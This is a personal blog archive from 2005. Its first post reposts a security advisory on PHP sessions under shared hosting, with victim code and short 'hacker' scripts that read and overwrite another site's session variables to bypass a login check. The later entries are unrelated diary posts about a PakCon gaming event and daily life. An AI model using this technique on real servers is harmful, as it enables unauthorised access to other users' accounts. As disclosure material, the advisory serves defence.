Saturday, September 17, 2005

Name: PHP SESSION
Version: tested on 3.x and 4.x
Homepage: http://php.net/

Authors: unknow (from uw-team) and adam_i
Date: 16 September 2005
-- == -- == -- == -- == -- == -- == -- == -- == -- == --

In PHP You can define a session variable by this code:

------------------------
start_sesion();
$my_var='foo';
session_register('my_var');
------------------------

This is 'very safe' method to keep secret data, because
data witch was send by get, post or cookie method could
be modified by user.
But... session variable could be also modified!
Only in 'specific environment', but it is possible.

-- == -- == -- == -- == -- == -- == -- == -- == -- == --
HOW IT WORKS?
-- == -- == -- == -- == -- == -- == -- == -- == -- == --

PHP save all session variables in file:
/tmp/sess_$id

The variable "$id" is random and it's usually saved in
cookie named 'PHPSESSID' or it is added to URL.
User don't know what kind of variables are declared
in session.

It's very important, that PHP give ONE 'id' per ONE user.
Thats mean that, when you enter site:
www.example.com/account1/
You will have THE SAME 'id' number like on this site:
www.example.com/account2/

So... all data from 'account1' and 'account2' are saved in
THE SAME file: /tmp/sess_$id

Thats mean:
When 'account1' sets variable $name='Been', 'Account2' will
see this variable, and could read, and write to it, because
all data are stored in the same file, and PHP doesn'a know
who is a owner of specified data.


-- == -- == -- == -- == -- == -- == -- == -- == -- == --
USAGE
-- == -- == -- == -- == -- == -- == -- == -- == -- == --

You need:
- a victim :P
- www account at the same server like victim

Victim code:
------------------------
session_start();
if (!session_is_registered("logged")) {
$logged=0;
}
if ($login=='s3cr3t') {$logged=1;}
session_register('logged');
if ($_SESSION['logged']==1){ see_my_secret_file(); }
------------------------

Look realy safe!
But we have this code on the same machine, but on the other account:

Hacker code:
------------------------
session_start();
var_export($_SESSION);
------------------------

We must do something like this:

1) enter this site:
http://[victim-host]/[victim]/file.php
2) run this file:
http://[victim-host]/[hacer-account]/hacker.php

We would see something like this on the hacker page:

------------------------
array ( 'logged' = 0, )
------------------------

Now we know that victim use '$logged' variable to recognize us.

Now we must edit hacker file, and write this code:

------------------------
session_start();
$_SESSION['logged']=1;
------------------------

now we run 'hacker.php' file on hacker account and refresh victim page.
Now we are logged in!

Contact:

Author: unknow (from uw-team) and adam_i
Location: Poland
Email: unknow at uw-team dot org || adam__i at o2 dotpl
HP: http://www.uw-team.org

http://www.securityfocus.com/archive/1/410902

i am on my bed and doing blogging it is great experience really great I am thinking myself as a somekind of geek

Friday, September 16, 2005

Last night I slept a

Last night I slept at 4 AM after watching “THE GODFATHER”. What a awesome movie. And the acting of al pacino and marlon Brandon was superb

First blog from MSWo

First blog from MSWord using there plugin (

test blog from my PDA

Wednesday, September 14, 2005

uff
What a painful night for me. I got call from muneeb about software which is not completed and i did not pick
The call and he himself came to my place. I was so embraced. I was going today at 12 to Dubai with his uncle
.and today i have to push farrukh.cause muneeb software is not meeting its deadline.

Monday, September 12, 2005

WoW what a final.pakcon is over and our team has again done this.by become CS PRO.and winning 20 K.danish played great and chakka the little kid was also great.we were went to see the existing game at Delta gamming zone.i was very glad to see the smiling faces of our team mate.omair was also very happy and they deserve for it cause are playing CS and spend there half of the day with CS.at last they win the Pakcon.Congratulation DFA for this achievement :)

Sunday, September 11, 2005


Ok I am back again. it has been around more then a year when I last blog on blogspot.i was busy with my job and studies. so why I started blog again.because one of my office college is working on a project related to blogging.so we discuss about blog whole the day and my blogger inside woke up.so i am here again.it is around 5:00 of morning and i am back from a event PakCon which was held at Perl Continental not a pathan Continental :).so we enjoyed there lot there was hacking compettin ,gaming and a geek party there.that was great.whole day tafreeh.some of my friends were workig there from past night. Thumbs up for them. cRome the team i was supporting had a great match and they white wash the opponent.and there final will be tommorow at delta gamming zone.my pray are with them they should be winner